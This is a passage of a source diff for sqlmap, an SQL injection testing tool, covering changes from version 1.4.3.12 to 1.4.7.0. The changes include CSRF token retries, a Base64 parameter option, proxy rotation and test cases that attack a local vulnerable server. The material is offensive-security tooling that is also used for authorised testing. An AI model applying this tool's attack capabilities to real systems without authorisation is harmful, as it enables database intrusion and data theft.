     >>> kb.forcedDbms = popValue()
     """
 
-    blank = " " * 8
+    blank = ' ' * 8
 
-    if isNoneValue(password) or password == " ":
+    if isNoneValue(password) or password == ' ':
         retVal = NULL
     else:
         retVal = password
@@ -1431,6 +1447,7 @@ def setPaths(rootPath):
             checkFile(path)
 
     if IS_WIN:
+        # Reference: https://pureinfotech.com/list-environment-variables-windows-10/
         if os.getenv("LOCALAPPDATA"):
             paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
         elif os.getenv("USERPROFILE"):
@@ -1440,11 +1457,17 @@ def setPaths(rootPath):
     else:
         paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
 
+        if not os.path.isdir(paths.SQLMAP_HOME_PATH):
+            if "XDG_DATA_HOME" in os.environ:
+                paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
+            else:
+                paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
+
     paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
     paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
     paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
 
-    # history files
+    # History files
     paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
     paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
     paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
@@ -1488,7 +1511,7 @@ def parseTargetDirect():
         if details:
             conf.dbms = details.group("dbms")
 
-            if details.group('credentials'):
+            if details.group("credentials"):
                 conf.dbmsUser = details.group("user")
                 conf.dbmsPass = details.group("pass")
             else:
@@ -1600,8 +1623,8 @@ def parseTargetUrl():
 
     originalUrl = conf.url
 
-    if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
+    if re.search(r"://\[.+\]", conf.url) and not socket.has_ipv6:
-        errMsg = "IPv6 addressing is not supported "
+        errMsg = "IPv6 communication is not supported "
         errMsg += "on this platform"
         raise SqlmapGenericException(errMsg)
 
@@ -1658,7 +1681,7 @@ def parseTargetUrl():
         conf.port = 80
 
     if conf.port < 1 or conf.port > 65535:
-        errMsg = "invalid target URL's port (%d)" % conf.port
+        errMsg = "invalid target URL port (%d)" % conf.port
         raise SqlmapSyntaxException(errMsg)
 
     conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
@@ -2843,6 +2866,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
     result = None if value is None else ""
 
     if value:
+        value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
+
         if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
             warnMsg = "if you experience problems with "
             warnMsg += "non-ASCII identifier names "
@@ -2877,6 +2902,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
         if spaceplus:
             result = result.replace(_urllib.parse.quote(' '), '+')
 
+        result = result.replace(DOLLAR_MARKER, '$')
+
     return result
 
 def runningAsAdmin():
@@ -3253,7 +3280,7 @@ def parseSqliteTableSchema(value):
     Parses table column names and types from specified SQLite table schema
 
     >>> kb.data.cachedColumns = {}
-    >>> parseSqliteTableSchema("CREATE TABLE users\\n\\t\\tid INTEGER\\n\\t\\tname TEXT\\n);")
+    >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);")
     True
     >>> repr(kb.data.cachedColumns).count(',') == 1
     True
@@ -3265,9 +3292,9 @@ def parseSqliteTableSchema(value):
         table = {}
         columns = {}
 
-        for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", decodeStringEscape(value), re.I):
+        for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
             retVal = True
-            columns[match.group(1)] = match.group(2)
+            columns[match.group(1)] = match.group(2) or "TEXT"
 
         table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
         kb.data.cachedColumns[conf.db] = table
@@ -4101,24 +4128,25 @@ def safeSQLIdentificatorNaming(name, isTable=False):
 
         # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
         if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
-            retVal = unsafeSQLIdentificatorNaming(retVal)
+            if not conf.noEscape:
+                retVal = unsafeSQLIdentificatorNaming(retVal)
 
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
-                retVal = "`%s`" % retVal
+                    retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
-                retVal = "\"%s\"" % retVal
+                    retVal = "\"%s\"" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
+                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
-                retVal = "\"%s\"" % retVal.upper()
+                    retVal = "\"%s\"" % retVal.upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
-                if isTable:
+                    if isTable:
-                    parts = retVal.split('.', 1)
+                        parts = retVal.split('.', 1)
-                    for i in xrange(len(parts)):
+                        for i in xrange(len(parts)):
-                        if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
+                            if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
-                            parts[i] = "[%s]" % parts[i]
+                                parts[i] = "[%s]" % parts[i]
-                    retVal = '.'.join(parts)
+                        retVal = '.'.join(parts)
-                else:
+                    else:
-                    if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
+                        if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
-                        retVal = "[%s]" % retVal
+                            retVal = "[%s]" % retVal
 
         if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
             retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)

lib/core/convert.py

@@ -198,8 +198,20 @@ def decodeBase64(value, binary=True, encoding=None):
     True
     >>> decodeBase64("MTIz", binary=False)
     '123'
+    >>> decodeBase64(b"MTIzNA") == b"1234"
+    True
+    >>> decodeBase64("MTIzNA") == b"1234"
+    True
+    >>> decodeBase64("MTIzNA==") == b"1234"
+    True
     """
 
+    padding = b'=' if isinstance(value, bytes) else '='
+
+    # Reference: https://stackoverflow.com/a/49459036
+    if not value.endswith(padding):
+        value += 3 * padding
+
     retVal = base64.b64decode(value)
 
     if not binary:
@@ -256,7 +268,10 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
             if unsafe:
                 retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
         else:
-            retVal = value.encode(encoding, errors)
+            try:
+                retVal = value.encode(encoding, errors)
+            except UnicodeError:
+                retVal = value.encode(UNICODE_ENCODING, errors="replace")
 
             if unsafe:
                 retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)

lib/core/defaults.py

@@ -15,6 +15,7 @@ _defaults = {
     "delay": 0,
     "timeout": 30,
     "retries": 3,
+    "csrfRetries": 0,
     "saFreq": 0,
     "threads": 1,
     "level": 1,

lib/core/option.py

@@ -93,7 +93,6 @@ from lib.core.exception import SqlmapInstallationException
 from lib.core.exception import SqlmapMissingDependence
 from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapMissingPrivileges
-from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapSystemException
@@ -371,7 +370,7 @@ def _doSearch():
 
         for link in links:
             link = urldecode(link)
-            if re.search(r"(.*?)\?(.+)", link):
+            if re.search(r"(.*?)\?(.+)", link) or conf.forms:
                 kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
             elif re.search(URI_INJECTABLE_REGEX, link, re.I):
                 if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
@@ -387,14 +386,18 @@ def _doSearch():
 
         if kb.targets:
             infoMsg = "found %d results for your " % len(links)
-            infoMsg += "search dork expression, "
+            infoMsg += "search dork expression"
 
-            if len(links) == len(kb.targets):
+            if not conf.forms:
-                infoMsg += "all "
+                infoMsg += ", "
-            else:
+
-                infoMsg += "%d " % len(kb.targets)
+                if len(links) == len(kb.targets):
+                    infoMsg += "all "
+                else:
+                    infoMsg += "%d " % len(kb.targets)
+
+                infoMsg += "of them are testable targets"
 
-            infoMsg += "of them are testable targets"
             logger.info(infoMsg)
             break
 
@@ -980,15 +983,12 @@ def _setHTTPHandlers():
 
     with kb.locks.handlers:
         if conf.proxyList is not None:
-            if not conf.proxyList:
-                errMsg = "list of usable proxies is exhausted"
-                raise SqlmapNoneDataException(errMsg)
-
             conf.proxy = conf.proxyList[0]
-            conf.proxyList = conf.proxyList[1:]
+            conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
 
-            infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
+            if len(conf.proxyList) > 1:
-            logger.info(infoMsg)
+                infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
+                logger.info(infoMsg)
 
         elif not conf.proxy:
             if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
@@ -1867,6 +1867,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.cache.content = {}
     kb.cache.encoding = {}
     kb.cache.alphaBoundaries = None
+    kb.cache.hashRegex = None
     kb.cache.intBoundaries = None
     kb.cache.parsedDbms = {}
     kb.cache.regex = {}

lib/core/optiondict.py

@@ -61,6 +61,7 @@ optDict = {
         "csrfToken": "string",
         "csrfUrl": "string",
         "csrfMethod": "string",
+        "csrfRetries": "integer",
         "forceSSL": "boolean",
         "chunked": "boolean",
         "hpp": "boolean",
@@ -201,6 +202,7 @@ optDict = {
         "trafficFile": "string",
         "answers": "string",
         "batch": "boolean",
+        "base64Parameter": "string",
         "binaryFields": "string",
         "charset": "string",
         "checkInternet": "boolean",

lib/core/settings.py

@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.3.12"
+VERSION = "1.4.7.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -69,6 +69,7 @@ REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
 BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
 SAFE_VARIABLE_MARKER = "__SAFE__"
 SAFE_HEX_MARKER = "__SAFE_HEX__"
+DOLLAR_MARKER = "__DOLLAR__"
 
 RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
@@ -249,7 +250,7 @@ PYVERSION = sys.version.split()[0]
 IS_WIN = PLATFORM == "nt"
 
 # Check if running in terminal
-IS_TTY = os.isatty(sys.stdout.fileno())
+IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
 
 # DBMS system databases
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
@@ -605,7 +606,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
 SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
 
 # Period after last-update to start nagging about the old revision
-LAST_UPDATE_NAGGING_DAYS = 60
+LAST_UPDATE_NAGGING_DAYS = 180
 
 # Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
 MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
@@ -917,7 +918,18 @@ for key, value in os.environ.items():
     if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
         _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
         if _ in globals():
-            globals()[_] = value
+            original = globals()[_]
+            if isinstance(original, int):
+                try:
+                    globals()[_] = int(value)
+                except ValueError:
+                    pass
+            elif isinstance(original, bool):
+                globals()[_] = value.lower() in ('1', 'true')
+            elif isinstance(original, (list, tuple)):
+                globals()[_] = [__.strip() for __ in _.split(',')]
+            else:
+                globals()[_] = value
 
 # Installing "reversible" unicode (decoding) error handler
 def _reversible(ex):

lib/core/testing.py

@@ -39,8 +39,8 @@ def vulnTest():
 
     TESTS = (
         ("-h", ("to see full list of options run with '-hh'",)),
-        ("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
         ("--dependencies", ("sqlmap requires", "third-party library")),
+        ("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
         (u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
         (u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
         ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
@@ -48,6 +48,7 @@ def vulnTest():
         ("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
         ("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
         ("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
+        ("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
         ("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
         ("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
         ("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
@@ -85,9 +86,13 @@ def vulnTest():
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         try:
             s.connect((address, port))
-            break
+            s.send(b"GET / HTTP/1.0\r\n\r\n")
+            if b"vulnserver" in s.recv(4096):
+                break
         except:
             time.sleep(1)
+        finally:
+            s.close()
 
     handle, config = tempfile.mkstemp(suffix=".conf")
     os.close(handle)
@@ -326,7 +331,7 @@ def smokeTest():
     count, length = 0, 0
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
             continue
 
         for filename in files:
@@ -334,7 +339,7 @@ def smokeTest():
                 length += 1
 
     for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
-        if any(_ in root for _ in ("thirdparty", "extra")):
+        if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
             continue
 
         for filename in files:

lib/parse/cmdline.py

@@ -267,6 +267,9 @@ def cmdLineParser(argv=None):
         request.add_argument("--csrf-method", dest="csrfMethod",
             help="HTTP method to use during anti-CSRF token page visit")
 
+        request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
+            help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
+
         request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
             help="Force usage of SSL/HTTPS")
 
@@ -616,6 +619,9 @@ def cmdLineParser(argv=None):
         general.add_argument("--answers", dest="answers",
             help="Set predefined answers (e.g. \"quit=N,follow=N\")")
 
+        general.add_argument("--base64", dest="base64Parameter",
+            help="Parameter(s) containing Base64 encoded data")
+
         general.add_argument("--batch", dest="batch", action="store_true",
             help="Never ask for user input, use the default behavior")
 
@@ -746,9 +752,6 @@ def cmdLineParser(argv=None):
             help="Simple wizard interface for beginner users")
 
         # Hidden and/or experimental options
-        parser.add_argument("--base64", dest="base64Parameter",
-            help=SUPPRESS)  # "Parameter(s) containing Base64 encoded values"
-
         parser.add_argument("--crack", dest="hashFile",
             help=SUPPRESS)  # "Load and crack hashes from a file (standalone)"
 
@@ -916,18 +919,25 @@ def cmdLineParser(argv=None):
             except ValueError as ex:
                 raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
 
+        longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
+        longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
+
         for i in xrange(len(argv)):
-            longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
+            # Reference: https://en.wiktionary.org/wiki/-
-            longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
+            argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i])
+
+            # Reference: https://unicode-table.com/en/sets/quotation-marks/
+            argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C")
+
             if argv[i] == "-hh":
                 argv[i] = "-h"
             elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
                 argv[i] = "--url=%s" % argv[i]
             elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
-                dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
+                dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i])
                 raise SystemExit
             elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
-                dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
+                dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i])
                 raise SystemExit
             elif re.search(r"\A-\w=.+", argv[i]):
                 dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])

lib/request/comparison.py

@@ -63,13 +63,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
     if any((conf.string, conf.notString, conf.regexp)):
         rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
 
-        # String to match in page when the query is True and/or valid
+        # String to match in page when the query is True
         if conf.string:
             return conf.string in rawResponse
 
-        # String to match in page when the query is False and/or invalid
+        # String to match in page when the query is False
         if conf.notString:
-            return conf.notString not in rawResponse
+            if conf.notString in rawResponse:
+                return False
+            else:
+                if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
+                    return None
+                else:
+                    return True
 
         # Regular expression to match in page when the query is True and/or valid
         if conf.regexp:

lib/request/connect.py

@@ -83,9 +83,9 @@ from lib.core.enums import WEB_PLATFORM
 from lib.core.exception import SqlmapCompressionException
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapGenericException
+from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapSyntaxException
 from lib.core.exception import SqlmapTokenException
-from lib.core.exception import SqlmapUserQuitException
 from lib.core.exception import SqlmapValueException
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
@@ -787,7 +787,7 @@ class Connect(object):
                     kb.connErrorChoice = readInput(message, default='N', boolean=True)
 
                 if kb.connErrorChoice is False:
-                    raise SqlmapUserQuitException
+                    raise SqlmapSkipTargetException
 
             if "forcibly closed" in tbMsg:
                 logger.critical(warnMsg)
@@ -1045,6 +1045,8 @@ class Connect(object):
                 auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
 
         if conf.csrfToken:
+            token = AttribDict()
+
             def _adjustParameter(paramString, parameter, newValue):
                 retVal = paramString
 
@@ -1061,56 +1063,64 @@ class Connect(object):
 
                 return retVal
 
-            token = AttribDict()
+            for attempt in xrange(conf.csrfRetries + 1):
-            page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
+                if token:
-            page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
+                    break
 
-            match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
+                if attempt > 0:
+                    warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
+                    warnMsg += ". sqlmap is going to retry the request"
+                    logger.warn(warnMsg)
 
-            if not match:
+                page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
-                match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
+                page = urldecode(page)  # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
+
+                match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
 
                 if not match:
-                    match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
+                    match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
 
                     if not match:
-                        match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
+                        match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
 
                         if not match:
-                            match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
+                            match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
 
-            if match:
+                            if not match:
-                token.name, token.value = match.group("name"), match.group("value")
+                                match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
 
-                match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
                 if match:
-                    token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
+                    token.name, token.value = match.group("name"), match.group("value")
 
-            if not token:
+                    match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
-                if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
+                    if match:
-                    if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
+                        token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
-                        token.name = conf.csrfToken
-                        token.value = page
-
-                if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
-                    for _ in conf.cj:
-                        if re.search(conf.csrfToken, _.name, re.I):
-                            token.name, token.value = _.name, _.value
-                            if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
-                                if post:
-                                    post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
-                                elif get:
-                                    get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
-                                else:
-                                    get = "%s=%s" % (token.name, token.value)
-                            break
 
                 if not token:
-                    errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
+                    if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
-                    if not conf.csrfUrl:
+                        if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
-                        errMsg += ". You can try to rerun by providing "
+                            token.name = conf.csrfToken
-                        errMsg += "a valid value for option '--csrf-url'"
+                            token.value = page
-                    raise SqlmapTokenException(errMsg)
+
+                    if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
+                        for _ in conf.cj:
+                            if re.search(conf.csrfToken, _.name, re.I):
+                                token.name, token.value = _.name, _.value
+                                if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
+                                    if post:
+                                        post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
+                                    elif get:
+                                        get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
+                                    else:
+                                        get = "%s=%s" % (token.name, token.value)
+                                break
+
+            if not token:
+                errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
+                if not conf.csrfUrl:
+                    errMsg += ". You can try to rerun by providing "
+                    errMsg += "a valid value for option '--csrf-url'"
+                raise SqlmapTokenException(errMsg)
 
             if token:
                 token.value = token.value.strip("'\"")
@@ -1150,7 +1160,7 @@ class Connect(object):
 
